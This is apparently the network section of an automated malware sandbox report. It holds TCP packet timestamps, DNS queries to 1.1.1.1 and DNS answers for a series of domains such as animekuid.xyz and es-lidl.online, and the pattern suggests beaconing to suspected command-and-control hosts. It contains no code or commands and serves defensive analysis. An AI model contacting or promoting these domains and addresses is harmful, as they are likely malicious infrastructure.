Nov 7, 2024 15:28:47.159895897 CET	80	49955	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:47.159986973 CET	49955	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:47.170686007 CET	49955	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:47.175647974 CET	80	49955	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:47.802010059 CET	80	49955	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:47.802063942 CET	49955	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:48.678050041 CET	49955	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:48.683033943 CET	80	49955	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:49.702297926 CET	49969	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:49.707134008 CET	80	49969	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:49.707214117 CET	49969	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:49.732711077 CET	49969	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:49.737550020 CET	80	49969	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:50.411787987 CET	80	49969	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:50.411845922 CET	49969	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:51.242533922 CET	49969	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:51.247627974 CET	80	49969	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:52.259645939 CET	49981	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:52.265984058 CET	80	49981	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:52.266052961 CET	49981	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:52.278417110 CET	49981	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:52.283416033 CET	80	49981	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:52.283441067 CET	80	49981	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:52.896075964 CET	80	49981	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:52.899048090 CET	49981	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:53.787300110 CET	49981	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:53.792851925 CET	80	49981	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:54.805936098 CET	49993	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:54.811059952 CET	80	49993	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:54.815015078 CET	49993	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:54.822185993 CET	49993	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:54.827241898 CET	80	49993	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:55.476773977 CET	80	49993	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:55.479547024 CET	80	49993	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:55.479687929 CET	49993	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:55.480509043 CET	49993	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:55.485591888 CET	80	49993	3.33.130.190	192.168.2.8
Nov 7, 2024 15:29:00.662404060 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:00.667334080 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:00.667419910 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:00.684931040 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:00.689893961 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378232002 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378258944 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378271103 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378278017 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378283978 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378312111 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378329039 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378338099 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:01.378344059 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378359079 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378367901 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:01.378372908 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.378381014 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:01.378463030 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:01.383434057 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.383459091 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.383471012 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.383579969 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:01.497917891 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.498405933 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.498421907 CET	80	49994	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:01.498658895 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:02.193593979 CET	49994	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.212639093 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.218561888 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.218733072 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.230871916 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.235754013 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932053089 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932115078 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932154894 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.932164907 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932197094 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932208061 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932219982 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932230949 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932244062 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932245016 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.932259083 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932271004 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.932280064 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.932303905 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.932322979 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:03.937340021 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.937366009 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.937376976 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:03.937419891 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:04.050769091 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:04.050801039 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:04.050843000 CET	80	49995	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:04.050842047 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:04.050889015 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:04.740375042 CET	49995	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:05.760272026 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:05.765213013 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:05.765292883 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:05.778769016 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:05.783915043 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:05.783968925 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449321032 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449357033 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449372053 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449385881 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449399948 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449412107 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449425936 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449441910 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.449462891 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:06.449527025 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:06.450450897 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.450515032 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.450557947 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:06.454427958 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.454495907 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.454509020 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.454523087 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.454541922 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:06.454569101 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:06.566348076 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.566361904 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.566416025 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:06.566472054 CET	80	49996	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:06.566514969 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:07.287633896 CET	49996	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:08.306881905 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:08.311841965 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:08.311944962 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:08.320657969 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:08.325474977 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004515886 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004534960 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004548073 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004559040 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004573107 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004585028 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004599094 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004611969 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004729033 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:09.004729986 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:09.004838943 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.004978895 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.005354881 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:09.011265039 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.011277914 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.011291981 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.011444092 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:09.123228073 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.123262882 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.123276949 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:09.123337030 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:09.123502016 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:09.128911018 CET	49997	80	192.168.2.8	199.192.19.19
Nov 7, 2024 15:29:09.134144068 CET	80	49997	199.192.19.19	192.168.2.8
Nov 7, 2024 15:29:14.376620054 CET	49998	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:14.382113934 CET	80	49998	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:14.382174015 CET	49998	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:14.395114899 CET	49998	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:14.400079966 CET	80	49998	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:14.988385916 CET	80	49998	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:14.989018917 CET	49998	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:15.896706104 CET	49998	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:15.901813984 CET	80	49998	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:16.915725946 CET	49999	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:16.920605898 CET	80	49999	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:16.920878887 CET	49999	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:16.931986094 CET	49999	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:16.937261105 CET	80	49999	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:17.519298077 CET	80	49999	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:17.523089886 CET	49999	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:18.443485975 CET	49999	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:18.448491096 CET	80	49999	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:19.462199926 CET	50000	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:19.467170954 CET	80	50000	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:19.467308044 CET	50000	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:19.478890896 CET	50000	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:19.484260082 CET	80	50000	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:19.484276056 CET	80	50000	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:20.065169096 CET	80	50000	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:20.065289974 CET	50000	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:20.990864992 CET	50000	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:20.995915890 CET	80	50000	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:22.009634018 CET	50001	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:22.014641047 CET	80	50001	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:22.014712095 CET	50001	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:22.023922920 CET	50001	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:22.028737068 CET	80	50001	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:23.075236082 CET	80	50001	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:23.075258970 CET	80	50001	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:23.075272083 CET	80	50001	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:23.075546980 CET	50001	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:23.076879978 CET	80	50001	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:23.078005075 CET	50001	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:23.081485033 CET	50001	80	192.168.2.8	208.91.197.27
Nov 7, 2024 15:29:23.086813927 CET	80	50001	208.91.197.27	192.168.2.8
Nov 7, 2024 15:29:28.563721895 CET	50002	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:28.568684101 CET	80	50002	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:28.568766117 CET	50002	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:28.585345984 CET	50002	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:28.590223074 CET	80	50002	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:29.814290047 CET	80	50002	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:29.814342976 CET	50002	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:30.099824905 CET	50002	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:30.105889082 CET	80	50002	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:31.162336111 CET	50003	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:31.167571068 CET	80	50003	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:31.171025038 CET	50003	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:31.204077959 CET	50003	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:31.209076881 CET	80	50003	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:32.709103107 CET	50003	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:32.757451057 CET	80	50003	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:33.843003988 CET	50004	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:33.848824978 CET	80	50004	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:33.848897934 CET	50004	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:33.862226009 CET	50004	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:33.867347002 CET	80	50004	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:33.867641926 CET	80	50004	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:35.365442991 CET	50004	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:35.413463116 CET	80	50004	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:36.385404110 CET	50005	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:36.390419006 CET	80	50005	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:36.390486002 CET	50005	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:36.401371002 CET	50005	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:36.406176090 CET	80	50005	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:39.657581091 CET	80	50003	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:39.659070969 CET	50003	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:42.328870058 CET	80	50004	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:42.329005957 CET	50004	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:44.886280060 CET	80	50005	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:44.886986017 CET	50005	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:44.890872002 CET	50005	80	192.168.2.8	156.242.132.82
Nov 7, 2024 15:29:44.896178007 CET	80	50005	156.242.132.82	192.168.2.8
Nov 7, 2024 15:29:58.048017979 CET	50006	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:29:58.052875996 CET	80	50006	84.32.84.32	192.168.2.8
Nov 7, 2024 15:29:58.052994967 CET	50006	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:29:58.063930988 CET	50006	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:29:58.068798065 CET	80	50006	84.32.84.32	192.168.2.8
Nov 7, 2024 15:29:58.903561115 CET	80	50006	84.32.84.32	192.168.2.8
Nov 7, 2024 15:29:58.903671026 CET	50006	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:30:00.756079912 CET	50006	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:30:00.761600971 CET	80	50006	84.32.84.32	192.168.2.8
Nov 7, 2024 15:30:01.774868965 CET	50007	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:30:01.779859066 CET	80	50007	84.32.84.32	192.168.2.8
Nov 7, 2024 15:30:01.783004045 CET	50007	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:30:01.793606043 CET	50007	80	192.168.2.8	84.32.84.32
Nov 7, 2024 15:30:01.798599005 CET	80	50007	84.32.84.32	192.168.2.8
Nov 7, 2024 15:30:02.614403009 CET	80	50007	84.32.84.32	192.168.2.8
Nov 7, 2024 15:30:02.614463091 CET	50007	80	192.168.2.8	84.32.84.32

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 15:27:36.892687082 CET	56643	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:27:36.918123960 CET	53	56643	1.1.1.1	192.168.2.8
Nov 7, 2024 15:27:52.634691000 CET	59975	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:27:52.677510977 CET	53	59975	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:06.012183905 CET	61610	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:06.024117947 CET	53	61610	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:19.400434971 CET	58936	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:19.424321890 CET	53	58936	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:32.790978909 CET	51470	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:33.802906990 CET	51470	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:34.802881002 CET	51470	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:36.050856113 CET	53	51470	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:36.050872087 CET	53	51470	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:36.050909996 CET	53	51470	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:38.073407888 CET	52212	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:39.084252119 CET	52212	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:40.100140095 CET	52212	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:41.079432964 CET	53	52212	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:41.079451084 CET	53	52212	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:41.079471111 CET	53	52212	1.1.1.1	192.168.2.8
Nov 7, 2024 15:28:47.135505915 CET	49695	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:28:47.149298906 CET	53	49695	1.1.1.1	192.168.2.8
Nov 7, 2024 15:29:00.494671106 CET	52203	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:29:00.658840895 CET	53	52203	1.1.1.1	192.168.2.8
Nov 7, 2024 15:29:14.147852898 CET	57071	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:29:14.373718977 CET	53	57071	1.1.1.1	192.168.2.8
Nov 7, 2024 15:29:28.088310957 CET	63506	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:29:28.555385113 CET	53	63506	1.1.1.1	192.168.2.8
Nov 7, 2024 15:29:49.901207924 CET	64750	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:29:49.918687105 CET	53	64750	1.1.1.1	192.168.2.8
Nov 7, 2024 15:29:57.979041100 CET	52874	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:29:58.045125961 CET	53	52874	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 15:27:36.892687082 CET	192.168.2.8	1.1.1.1	0xb794	Standard query (0)	www.multileveltravel.world	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:27:52.634691000 CET	192.168.2.8	1.1.1.1	0x11bc	Standard query (0)	www.falconclub.online	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:06.012183905 CET	192.168.2.8	1.1.1.1	0xa96e	Standard query (0)	www.promasterev.shop	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:19.400434971 CET	192.168.2.8	1.1.1.1	0x9f74	Standard query (0)	www.childlesscatlady.today	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:32.790978909 CET	192.168.2.8	1.1.1.1	0x565a	Standard query (0)	www.animekuid.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:33.802906990 CET	192.168.2.8	1.1.1.1	0x565a	Standard query (0)	www.animekuid.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:34.802881002 CET	192.168.2.8	1.1.1.1	0x565a	Standard query (0)	www.animekuid.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:38.073407888 CET	192.168.2.8	1.1.1.1	0x1e96	Standard query (0)	www.animekuid.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:39.084252119 CET	192.168.2.8	1.1.1.1	0x1e96	Standard query (0)	www.animekuid.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:40.100140095 CET	192.168.2.8	1.1.1.1	0x1e96	Standard query (0)	www.animekuid.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:47.135505915 CET	192.168.2.8	1.1.1.1	0x97c0	Standard query (0)	www.doggieradio.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:00.494671106 CET	192.168.2.8	1.1.1.1	0x727a	Standard query (0)	www.demovix.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:14.147852898 CET	192.168.2.8	1.1.1.1	0x9115	Standard query (0)	www.palcoconnector.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:28.088310957 CET	192.168.2.8	1.1.1.1	0x86cb	Standard query (0)	www.shanhaiguan.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:49.901207924 CET	192.168.2.8	1.1.1.1	0x7efb	Standard query (0)	www.mtcep.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:57.979041100 CET	192.168.2.8	1.1.1.1	0x4975	Standard query (0)	www.es-lidl.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 15:27:36.918123960 CET	1.1.1.1	192.168.2.8	0xb794	No error (0)	www.multileveltravel.world	multileveltravel.world		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 15:27:36.918123960 CET	1.1.1.1	192.168.2.8	0xb794	No error (0)	multileveltravel.world		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:27:36.918123960 CET	1.1.1.1	192.168.2.8	0xb794	No error (0)	multileveltravel.world		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:27:52.677510977 CET	1.1.1.1	192.168.2.8	0x11bc	No error (0)	www.falconclub.online		74.208.236.25	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:06.024117947 CET	1.1.1.1	192.168.2.8	0xa96e	No error (0)	www.promasterev.shop	promasterev.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 15:28:06.024117947 CET	1.1.1.1	192.168.2.8	0xa96e	No error (0)	promasterev.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:06.024117947 CET	1.1.1.1	192.168.2.8	0xa96e	No error (0)	promasterev.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:19.424321890 CET	1.1.1.1	192.168.2.8	0x9f74	No error (0)	www.childlesscatlady.today	childlesscatlady.today		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 15:28:19.424321890 CET	1.1.1.1	192.168.2.8	0x9f74	No error (0)	childlesscatlady.today		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:19.424321890 CET	1.1.1.1	192.168.2.8	0x9f74	No error (0)	childlesscatlady.today		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:36.050856113 CET	1.1.1.1	192.168.2.8	0x565a	Server failure (2)	www.animekuid.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:36.050872087 CET	1.1.1.1	192.168.2.8	0x565a	Server failure (2)	www.animekuid.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:36.050909996 CET	1.1.1.1	192.168.2.8	0x565a	Server failure (2)	www.animekuid.xyz	none	none	A (IP address)	IN (0x0001)	false
